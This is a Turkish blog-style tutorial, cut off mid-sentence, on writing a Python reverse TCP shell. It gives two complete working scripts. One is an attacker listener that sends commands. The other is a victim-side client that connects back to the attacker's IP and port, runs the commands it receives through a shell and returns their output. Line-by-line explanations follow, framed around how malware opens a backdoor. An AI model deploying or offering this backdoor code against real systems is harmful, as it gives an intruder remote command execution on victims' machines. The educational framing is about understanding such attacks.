Python Reverse Shell

Bu yazımda sizlere python ile reverse TCP shell yönteminden ve bir malware’in sisteme bulaştığı zaman  saldırgana nasıl backdoor (arka kapı) açtığından bahsedip, kod bloğumuz içinde yer alacak  satırlarları açıklayacağım. Yazımızın sonunda ise farkındalık oluşturmak adına birkaç linux ve windows komutundan bahsedeceğim.

Günümüzde  gerek network katmanında gerekse host veya server katmanında dışarıdan gelebilecek bağlantılar için firewall’larda port kısıtlamaları son derece önem gösterilerek yapılmaktadır. Server üzerinde istenilmeyen servislerin aktif edilmeyerek socket açmaması, son kullanıcı bilgisayarlarına dışarıdan gelen tüm bağlantıların kapatılması, alınan önlemlerden bir kısmı diyebiliriz. Bunca güvenlik önlemi alınırken saldırganlarda boş durmadı ve “ biz sisteme sızamıyorsak onlar bizim ayağımıza gelsin” yöntemini geliştirdiler. Peki bu nasıl oluyor ? Bunun birçok yöntemi var, server sistemlerde kullanılan uygulamanın zaafiyeti olmasından kaynaklanan bir açıktan tutun bir malware’in sisteme bulaşmasına ve bu zararlı yazılımın saldırgana backdoor ile bağlanmasını sağlamaya kadar gidiyor. Buradaki kilit kelime “ socket ”.

Nedir bu socket ?;  Network üzerinde çalışmasını istediğiniz bir uygulama veya servis olduğu zaman ethernet kartınızın ip adresi ile uygulamanın çalışması için verilen port bilgisi birleşir (socket ) ve bu ikili uygulamanıza gelecek istekleri karşılamak için dışarıya bağlantı açar. İnternet üzerinden bağlandığınız web sitelerini buna örnek gösterebiliriz. Browser’ınıza bir site adresi yazdığınızda “www.cozumpark.com:80” diye çalışır. Siz her ne kadar “80” portunu görmesenizde(80 haricinde görürsünüz) çözümpark server’larına bu istek,  “ip:port” isteği olarak gider ve çözümpark server üzerinde çalışan IIS veya Apache socket’in karşılığı olan uygulamayı kullanıcıya döndürür (Server tarafında bu socket açıksa).

import socket #Socket oluşturmak için kullandığımız modül
port=6161 #Saldırganın dinleyeceği port adresi
ip="192.168.0.34" #Saldırgan'ın dış dünya ile bağlantısını sağlayan IP adresi
def baglanti():
   Socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   Socket.bind((ip,port))
   Socket.listen(1)
   socketaddr,ipaddr= Socket.accept()
   print 'Baglanti gerceklesti',ipaddr

   while True:
       komut= raw_input("Shell> ")
       if 'cikis' in komut:
           socketaddr.send('cikis')
           socketaddr.close()
           break
       else:
           socketaddr.send(komut)
           print socketaddr.recv(1024)
baglanti()

Görüldüğü üzere server-client mimarisi bir uygulama yazıyorsanız, python’da socket kütüphanesini kullanıyorsunuz. oluşturduğumuz fonksiyonu açıklarsak;

Socket=socket.socket()  ile  yeni bir socket oluşturduk

socket.AF_INET ile çağırarak IPv4  model bir socket olacağın belirttik.

socket.SOCK_STREAM ile TCP temelli bir haberleşme olacağını belirttik(SOCK_DGRAM udp için)

Socket.bind((ip,port)) hatırlarsanız socket tanımını yaparken hep, ip:port ikilisi diye bahsetmiştik. İşte burada da oluşturduğumuz Socket’e ip:port bilgisini atadık ve çalıştığı makinada(saldırgan makina) interface’in IP ve hangi port adresini dinleyeceğini söyledik.”0.0.0.0″ yaparsanız üzerindeki tüm ip almış interface’leri dinler.

Socket.listen(1)  Aynı anda kaç bağlantıyı dinleyeceğini belirttik.

socketaddr,ipaddrr=Socket.accept()  oluşturduğumuz socket’e gelecek bağlantıları kabul etmek için accept()’i çağardık ve client tarafından açtığımız socket’e bağlantı geldiği  zaman size iki liste elemanı döndürür, karşı tarafla oluşan socket objesini ve bağlanan makinanın ipaddressi:port bilgisi

while döngüsünde, bağlantı oluştuğu zaman, raw_input() ile saldırgandan komut girmesini bekliyoruz. Girilen bu komutda “cikis” adli bir kelime geçiyorsa socket’i kapatmasını “socketaddr.close()”  yani bağlantıyı sonlandırmasını, geçmiyorsa da girilen komutu, oluşan  bağlantı socket’inde  “socketaddr.send(komut) ” yardımı ile karşı tarafa göndermesini(malware yüklü makina).

print socketaddr.recv(1024) TCP bir bağlantı olduğu için gönderdiğimiz komuta karşılık gelen paketi’in 1 Mb lık değerini ekrana yazıyoruz.

baglanti() komutu ilede fonksiyonumuzu çağarıyoruz yani çalıştırıyoruz.

Gelelim şimdi malware yüklü veya client tarafına.

import socket
import subprocess
port=6161
ip="192.168.0.34"
def baglanti():
   Socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   Socket.connect((ip,port))
   while True:
       komut = Socket.recv(1024)

       if 'cikis' in komut:
           Socket.close()
           break
       else:
           CMD=subprocess.Popen(komut, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE)
           Socket.send(CMD.stdout.read())
           Socket.send(CMD.stderr.read())
baglanti()

Bir önceki komut dizinimizde detaylı olarak python’da socket oluşturmayı gösterdiğim için burada fazla detaya girmiyorum.

subprocess modülü alt işlemler oluşturmanıza (bir işlem çalışıyorken aynı anda başka bir işlemi alt işlem olarak çalıştırmanıza) ve bu işlemin sonucunda  dönen girdi/çıktı/hata  değerlerini yöneterek PIPE ile bağlamanızı sağlar.

Socket.connect((ip,port)) ile saldırgan makinamıza bağlanma talebi yolladık,

komut=Socket.recv(1024) bir önceki komut dizinimizde saldırganın raw_input ile gönderdiği komutu, komut adlı değişkenimize atıyoruz ve komut içinde cikis yazıyorsa(saldırgan bu komutu yollamıssa) socket’i sonlandırıyoruz(sürekli açık kalıp, bir sonraki aşamada socket kullanılıyor demesin diye).

CMD.subprocess.Popen(komut, shell= True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) kullanmamızın nedeni bir üst işlem ile aynı anda çalışacağını belirttik ve (komut) adlı değişkenimizi argüman olarak çağarıp, shell=True diyerek shell’i çağardık ve argümanımızı buraya yazdık. Normalde shell değerini injection ataklara karşı false yapmamızı önerirler ama bizim işimiz zaten bu